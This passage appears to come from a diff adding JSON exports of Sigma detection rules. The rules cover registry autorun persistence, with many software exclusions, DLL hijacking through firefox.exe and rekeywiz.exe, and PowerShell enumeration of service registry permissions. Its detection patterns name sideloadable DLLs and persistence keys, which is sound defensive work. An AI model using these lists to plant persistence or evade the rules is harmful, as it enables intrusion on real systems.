ProcessImage: '?:\\Windows\\System32\\csrss.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Application Restart #?'\n    exclusion_spotify:\n        - ProcessImage|endswith: '\\AppData\\Roaming\\Spotify\\Spotify.exe'\n          Details|endswith:\n            - '\\AppData\\Roaming\\Spotify\\Spotify.exe --autostart'\n            - '\\AppData\\Roaming\\Spotify\\Spotify.exe --autostart --minimized'\n            - '\\AppData\\Roaming\\Spotify\\SpotifyLauncher.exe --autostart'\n          TargetObject|endswith:\n            - '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Spotify'\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SpotifyLauncher'\n        - ProcessImage|endswith: '\\Sources\\SetupHost.exe'\n          ProcessSigned: 'true'\n          Details|endswith: '\\AppData\\Roaming\\Spotify\\Spotify.exe --autostart --minimized'\n          TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Spotify'\n    exclusion_cacaoweb:\n        Details|endswith: '\\AppData\\Roaming\\cacaoweb\\cacaoweb.exe? -noplayer'\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\cacaoweb'\n    exclusion_systevo:\n        Details: '?:\\Users\\\\*\\AppData\\Roaming\\INSTAL~*\\{*\\setup.exe -reboot?:\\Users\\\\*\\AppData\\Roaming\\INSTAL~*\\{*\\reboot.ini*'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Runonce\\InstallShieldSetup'\n    exclusion_movavi_helper:\n        Details: '?:\\Users\\\\*\\AppData\\Roaming\\MovaviHelper\\MovaviHelper.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Movavi_MovaviHelper'\n\n    # Exclusion for \\Users\\Public\\\n    exclusion_norton:\n        Details: '?:\\Users\\Public\\Downloads\\Norton\\{??????????-????-????????}\\FSDUI_Custom.exe /m /SHOWONECLICK /WIN10_UPGRADE ??:\\Users\\\\*\\AppData\\Local\\Temp\\{????????-????-????-????-????????????}\\Upgrade.exe?'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Norton Download Manager{??????????-????-????????}'\n\n    # Exclusion for \\Users\\Default\\\n    exclusion_clickshare:\n        # C:\\Users\\Default\\AppData\\Local\\ClickShare\\current\\ClickShare.exe\n        ProcessSigned: 'true'\n        ProcessSignature: 'Barco N.V.'\n        Details: '?:\\Users\\Default\\AppData\\Local\\ClickShare\\ClickShare.exe --minimized'\n        TargetObject|endswith: '\\Microsoft\\Windows\\CurrentVersion\\Run\\ClickShare'\n\n    exclusion_movavi_video_suite:\n        # C:\\Users\\xxxx\\AppData\\Roaming\\Movavi Video Suite 22\\AgentInformer.exe\n        # C:\\Users\\xxxxx\\AppData\\Local\\Temp\\Movavi-installer-73a268c0-f514-4f37-9c8e-2dd2df2c05aa\\InstallerGUI.exe\n        Image|endswith:\n            - '\\AgentInformer.exe'\n            - '\\InstallerGUI.exe'\n        ProcessSignature: 'Movavi Software Limited'\n        TargetObject|endswith:\n            - '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\movavi_suite_agent'\n            - '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\movavi_suiteplatform_agent'\n        Details|contains: '\\AgentInformer.exe'\n\n    exclusion_windows_update:\n        ProcessImage:\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\setupplatform.exe'\n\n    exclusion_copernic:\n        Details|startswith: '?:\\Users\\\\*\\AppData\\Roaming\\\\*\\Copernic\\start_copernic.cmd'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Copernic'\n\n    exclusion_utorrent:\n        TargetObject|endswith:\n            - 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\uTorrent'\n            - 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ut'  # seen from 2021 ?\n        Details|contains: 'AppData\\Roaming\\uTorrent\\uTorrent.exe'\n\n    exclusion_archicad:\n        ProcessParentImage|endswith: '\\ARCHICAD-??-Update-????-?.?.exe'\n        Details|startswith: 'cmd.exe /C del '\n\n    exclusion_wiseguard:\n        Details|contains: 'cmd.exe /c REG DELETE HKLM\\SOFTWARE\\Enatel\\WiseGuard\\AdvancedLogin /v DontRestartSecurityServices /f'\n\n    exclusion_bitorrent:\n        Details|contains:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\bittorrent\\BitTorrent.exe*  /MINIMIZED'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\BitTorrent Web\\btweb.exe* /MINIMIZED'\n\n    exclusion_plustek:\n        Details|contains:\n            - 'CMD.EXE /C DEL /Q *?:\\Program Files (x86)\\Plustek\\Plustek SmartOffice*\\ScanAdvanced.dll*'\n            - 'CMD.EXE /C REN *?:\\Program Files (x86)\\Plustek\\Plustek SmartOffice *\\ScanAdvanced.dll.new* *ScanAdvanced.dll*'\n\n    exclusion_honeywell:\n        Details|contains: 'cmd.exe /c regsvr32 /s *?:\\Program Files (x86)\\Honeywell\\client\\station\\components\\hscPointBrowseDialog.exe*'\n\n    exclusion_nchsoftware:\n        Details|contains:\n            - 'cmd.exe /C rmdir /Q *?:\\Program Files (x86)\\NCH Software\\ExpressZip*'\n            - 'cmd.exe /C rmdir /S /Q *?:\\Program Files (x86)\\NCH Software\\ExpressZip*'\n\n    exclusion_nomachine:\n        Details|contains: 'cmd.exe /c *rmdir /S /Q *?:\\Program Files (x86)\\NoMachine*'\n\n    exclusion_movavi:\n        Details|contains:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Movavi Suite\\MovaviSuite.exe* --silent-platform-mode-enabled'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Movavi Video Converter\\ConverterAgent.exe'\n\n    exclusion_cisco_2:\n        Details|contains: '?:\\Users\\\\*\\AppData\\Roaming\\Cisco\\Proximity\\proximity.exe* --autostart'\n\n    exclusion_fiery:\n        Details|contains:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Fiery Software Manager\\fsm_reboot.bat'\n            - 'rundll32.exe ?:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"?:\\VCREDI?\\\"'\n\n    exclusion_weadvocacy:\n        Details|contains: '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\we advocacy\\we advocacy\\we advocacy.appref-ms'\n\n    exclusion_hubspot:\n        Details|contains: '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Hubspot\\HubSpot for Windows.appref-ms'\n\n    exclusion_penumbra:\n        Details|contains: '?:\\Users\\\\*\\AppData\\Roaming\\Penumbra\\Penumbra.exe'\n\n    exclusion_miteldialer:\n        Details|contains:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Mitel\\MitelDialer\\MitelDialer.exe? -s'\n            - '?:\\WINDOWS\\system32\\config\\systemprofile\\AppData\\Roaming\\Mitel\\MitelDialer\\MitelDialer.exe? -s'\n\n    exclusion_svgviewer:\n        Details|contains:\n            - '?:\\windows\\system32\\cmd.exe /D /Q /C del /F /Q *?:\\Program Files (x86)\\Common Files\\Adobe\\SVG Viewer 3.0\\FileOps.exe*'\n            - '?:\\windows\\system32\\cmd.exe /D /Q /C rd /S /Q *?:\\Program Files (x86)\\Common Files\\Adobe\\SVG Viewer 3.0*'\n\n    exclusion_prtgnetworkmonitor:\n        Details|contains: '?:\\Windows\\System32\\cmd.exe /q/c RMDIR /S/Q *?:\\Program Files (x86)\\PRTG Network Monitor*'\n\n    exclusion_logitech_2:\n        Details|contains: '?:\\Windows\\system32\\rundll32.exe ?:\\Windows\\System32\\LogiLDA.dll,LogiFetch'\n\n    exclusion_autocad:\n        Details|contains: 'rundll32.exe ?:\\windows\\system32\\advpack.dll,DelNodeRunDLL32 \"?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*.tmp\\\\*'\n\n    exclusion_graphisoft:\n        ProcessImage: '?:\\Program Files\\GRAPHISOFT\\BIMx Desktop Viewer\\Uninstall.BIMx\\uninstaller.exe'\n        Details: 'cmd.exe /C  del \"?:\\windows\\Temp\\LaunchAR.exe\"'\n\n    exclusion_teams:\n        TargetObject|endswith: '\\Microsoft\\Windows\\CurrentVersion\\Run\\com.squirrel.Teams.Teams'  # MS teams\n        Details|contains: 'AppData\\Local\\Microsoft\\Teams\\Update.exe'\n\n    exclusion_teamviewer:\n        ProcessImage|endswith: '\\AppData\\Roaming\\TeamViewerMeeting\\TeamViewerMeeting.exe'\n        Details|contains: '\\AppData\\Roaming\\TeamViewerMeeting\\TeamViewerMeeting.exe'\n\n    exclusion_alcatel:\n        ProcessImage|endswith: '\\AppData\\Local\\Programs\\Alcatel-Lucent Enterprise\\Rainbow\\Rainbow.exe'\n        Details|contains: '\\AppData\\Local\\Programs\\Alcatel-Lucent Enterprise\\Rainbow\\Rainbow.exe'\n\n    exclusion_razer:\n        Details: '?:\\Program Files (x86)\\Razer\\\\*\\RzInstallerDeletion*.vbs'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Razer USA Ltd.'\n\n    exclusion_hp_delivery:\n        ProcessImage: '?:\\Windows\\System32\\MsiExec.exe'\n        Details: 'Rundll32.exe printui.dll,PrintUIEntry /m \"HP Delivery Driver V4\" /dd /q'\n\n    exclusion_gadata:\n        ProcessImage: '?:\\Program Files (x86)\\G Data\\AVKClient\\AVKWCtlx64.exe'\n        Details|startswith: 'undll32.exe \"?:\\Program Files (x86)\\Common Files\\G DATA\\AVKProxy\\'\n\n    exclusion_pdf_pro_suite:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\PDFProSuite\\pdfprosuite.exe'\n        Details: 'cmd.exe /c \"start /min /d \"?:\\Users\\\\*\\AppData\\Local\\PDFProSuite\" PDFProSuite . --update\"'\n\n    exclusion_ivanti:\n        ProcessImage: '?:\\program files (x86)\\ivanti\\workspace control\\pfwsmgr.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Ivanti, Inc.'\n\n    exclusion_drvinst:\n        ProcessImage: '?:\\Windows\\System32\\drvinst.exe'\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\'\n\n    exclusion_beyondtrust:\n        ProcessImage|endswith:\n            - '\\sra-scc.exe'\n            - '\\sra-con.exe'\n            - '\\sra-pin.exe'\n            - '\\bomgar-scc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'BeyondTrust Corporation'\n        TargetObject|contains: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Sra_Cleanup_ZD'\n\n    exclusion_nch_software:\n        ProcessImage|endswith: '\\AppData\\Roaming\\NCH Software\\Program Files\\\\*\\\\*.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NCH Software, Inc.'\n        TargetObject|endswith:\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\\*RunOnStartup'\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\\*UpdateCheck'\n\n    exclusion_modplus:\n        ProcessImage|endswith: '\\AppData\\Roaming\\ModPlus\\mpAutoUpdater.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'IP Pekshev Alexander Aleksandrovich'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ModPlusAutoUpdater'\n\n    exclusion_schneider:\n        TargetObject|endswith:\n            - '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\ ISSetupPrerequisistes' # with a space before ISS\n            - '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\  ISSetupPrerequisistes' # with 2 spaces before ISS\n\n    exclusion_asus:\n        ProcessOriginalFileName: 'SmatData.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\CS Dispatch'\n\n    exclusion_lifen:\n        ProcessImage|endswith: '\\Default\\AppData\\Local\\lifen\\app-*\\Lifen.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Honestica'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\com.squirrel.lifen.Lifen'\n\n    exclusion_bimandco:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Roaming\\BimAndCo\\StandAloneApp\\BimAndCo.StandAloneApp.exe'\n        ProcessOriginalFileName: 'BimAndCo.StandAloneApp.dll'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\StandAloneApp'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fd2e4d65-00d6-4661-a5f4-ad92fe8d4540",
+  "rule_name": "Suspicious Registry Autorun Key Added",
+  "rule_description": "Detects when a suspicious entry is added or modified in one of the autostart extensibility points (ASEP) in the registry, which may indicate an attempt to establish persistence.\nAutostart extensibility points are registry locations that Windows uses to automatically execute programs during system startup or user logon. Common ASEP locations include Run and RunOnce keys under \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\" and \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\". Attackers frequently abuse these registry keys to achieve persistence by adding entries that reference malicious executables, scripts, or commands. This technique allows malware to survive system reboots and maintain a foothold on the compromised system without requiring user interaction.\nIt is recommended to investigate the process that created or modified the registry key, examine the target executable or command referenced in the registry value and verify whether the entry corresponds to legitimate software.\n",
+  "rule_creation_date": "2023-06-22",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fd9b7646-9c2d-41c6-8580-5ad80591e94c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079012Z",
+  "creation_date": "2026-03-23T11:45:34.079014Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079019Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_firefox.yml",
+  "content": "title: DLL Hijacking via Firefox\nid: fd9b7646-9c2d-41c6-8580-5ad80591e94c\ndescription: |\n    Detects potential Windows DLL Hijacking via firefox.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'firefox.exe'\n        ProcessSignature: 'Mozilla Corporation'\n        ImageLoaded|endswith:\n            - '\\dataexchange.dll'\n            - '\\explorerframe.dll'\n            - '\\mswsock.dll'\n            - '\\netprofm.dll'\n            - '\\propsys.dll'\n            - '\\rsaenh.dll'\n            - '\\rasadhlp.dll'\n            - '\\windows.storage.dll'\n            - '\\winrnr.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fd9b7646-9c2d-41c6-8580-5ad80591e94c",
+  "rule_name": "DLL Hijacking via Firefox",
+  "rule_description": "Detects potential Windows DLL Hijacking via firefox.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fda8f576-7252-48e1-8518-31282f360d7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072275Z",
+  "creation_date": "2026-03-23T11:45:34.072277Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072281Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness",
+    "https://attack.mitre.org/techniques/T1574/011/"
+  ],
+  "name": "t1574_011_service_registry_permissions_weakness_check.yml",
+  "content": "title: Services Registry Permissions Enumerated via PowerShell\nid: fda8f576-7252-48e1-8518-31282f360d7b\ndescription: |\n    Detects when the Get-Acl PowerShell command is used alongside the Services registry path to get the security parameters of a service's registry keys.\n    Adversaries can use this method to find services with weak parameters and modify their settings to establish persistence and/or privilege escalation.\n    It is recommended to investigate the context in which this command was executed to determine legitimacy.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness\n    - https://attack.mitre.org/techniques/T1574/011/\ndate: 2022/12/23\nmodified: 2025/11/04\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.011\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|re:\n            - '(?i)get-acl [[:print:]]+\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\'\n            - '(?i)get-acl -P[ath]{0,3} [[:print:]]+\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\'\n\n    exclusion_ivanti:\n        ProcessParentImage: '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\Respesvc64.exe'\n\n    # https://learn.microsoft.com/en-us/troubleshoot/windows-client/windows-tss/introduction-to-troubleshootingscript-toolset-tss\n    exclusion_tss:\n        PowershellCommand|contains|all:\n            - 'module for collecting ETW traces and various custom tracing functionality'\n            - 'TSS https://internal.evergreen.microsoft.com/en-us/help/4619187'\n            - '<# latest changes'\n            - '#region --- ETW component trace Providers ---'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fda8f576-7252-48e1-8518-31282f360d7b",
+  "rule_name": "Services Registry Permissions Enumerated via PowerShell",
+  "rule_description": "Detects when the Get-Acl PowerShell command is used alongside the Services registry path to get the security parameters of a service's registry keys.\nAdversaries can use this method to find services with weak parameters and modify their settings to establish persistence and/or privilege escalation.\nIt is recommended to investigate the context in which this command was executed to determine legitimacy.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fe0026b0-367c-4484-8488-18b8d913226b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076911Z",
+  "creation_date": "2026-03-23T11:45:34.076913Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076917Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rekeywiz.yml",
+  "content": "title: DLL Hijacking via rekeywiz.exe\nid: fe0026b0-367c-4484-8488-18b8d913226b\ndescription: |\n    Detects potential Windows DLL Hijacking via rekeywiz.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rekeywiz.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\credui.dll'\n            - '\\CRYPTBASE.DLL'\n            - '\\CRYPTUI.dll'\n            - '\\DSROLE.dll'\n            - '\\duser.dll'\n            - '\\EFSADU.dll'\n            - '\\EFSUTIL.dll'\n            - '\\FeClient.dll'\n            - '\\logoncli.dll'\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\USERENV.dll'\n            - '\\VAULTCLI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fe0026b0-367c-4484-8488-18b8d913226b",
+  "rule_name": "DLL Hijacking via rekeywiz.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rekeywiz.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fe179170-1bf7-4cc0-815e-3a0021d10561",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608639Z",
+  "creation_date": "2026-03-23T11:45:34.608642Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608649Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cyble.com/blog/winrar-flaw-exposes-users-to-apanyan-asyncrat-murk/",
+    "https://attack.mitre.org/techniques/T1102/003/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_suspicious_urls_cmd.yml",
